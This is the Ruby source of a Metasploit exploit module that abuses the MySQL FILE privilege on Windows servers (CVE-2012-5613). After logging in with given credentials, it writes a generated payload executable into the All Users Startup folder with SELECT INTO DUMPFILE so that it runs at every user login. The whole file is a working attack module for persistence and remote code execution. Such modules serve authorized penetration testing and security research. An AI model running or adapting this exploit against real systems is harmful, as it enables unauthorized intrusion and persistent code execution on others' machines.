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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::MYSQL
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  include Msf::OptionalSession::MySQL
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
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      'Description'    => %q{
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        This module takes advantage of a file privilege misconfiguration problem
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        specifically against Windows MySQL servers. This module abuses the FILE
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        privilege to write a payload to Microsoft's All Users Start Up directory
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        which will execute every time a user logs in. The default All Users Start
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        Up directory used by the module is present on Windows 7.
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      },
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      'Author'         =>
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        [
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          'sinn3r',
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          'Sean Verity <veritysr1980[at]gmail.com>'
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        ],
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      'DefaultOptions' =>
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        {
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          'DisablePayloadHandler' => true
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        },
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2012-5613'], #DISPUTED
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          ['OSVDB', '88118'],
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          ['EDB', '23083'],
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          ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']
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        ],
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'MySQL on Windows', { } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2012-12-01'
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    ))
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    register_options(
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      [
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        OptString.new('USERNAME', [ true, 'The username to authenticate as']),
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        OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
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        OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
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      ])
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  end
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  def check
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    m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
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    return Exploit::CheckCode::Safe unless m
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    return Exploit::CheckCode::Appears if is_windows?
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    Exploit::CheckCode::Safe
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  end
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  def query(q)
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    rows = []
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    begin
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      res = mysql_query(q)
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      return rows unless res
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      res.each_hash do |row|
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        rows << row
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      end
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    rescue ::Rex::Proto::MySQL::Client::ParseError
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      return rows
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    end
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    rows
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  end
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  def is_windows?
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    r = query("SELECT @@version_compile_os;")
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    r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
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  end
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  def get_drive_letter
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    r = query("SELECT @@tmpdir;")
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    drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
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    drive
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  end
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  def upload_file(bin, dest)
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    p = bin.unpack("H*")[0]
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    query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
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  end
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  def exploit
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    unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
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      fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
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    end
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    print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") unless session
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    begin
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      # If we have a session make use of it
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      if session
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        print_status("Using existing session #{session.sid}")
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        self.mysql_conn = session.client
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      else
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        # otherwise fallback to attempting to login
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        m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
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        return unless m
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      end
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    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
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      fail_with(Failure::NoAccess, "#{peer} - Access denied")
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    end
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    fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m || session
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    unless is_windows?
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      fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
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    end
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    begin
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      drive = get_drive_letter
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    rescue ::Rex::Proto::MySQL::Client::ParseError
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      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
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    end
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
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    exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
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    dest     = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
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    exe      = generate_payload_exe
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    print_status("Uploading to '#{dest}'")
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    begin
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      upload_file(exe, dest)
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    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
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      fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
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    end
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    register_file_for_cleanup("#{dest}")
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  end
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end
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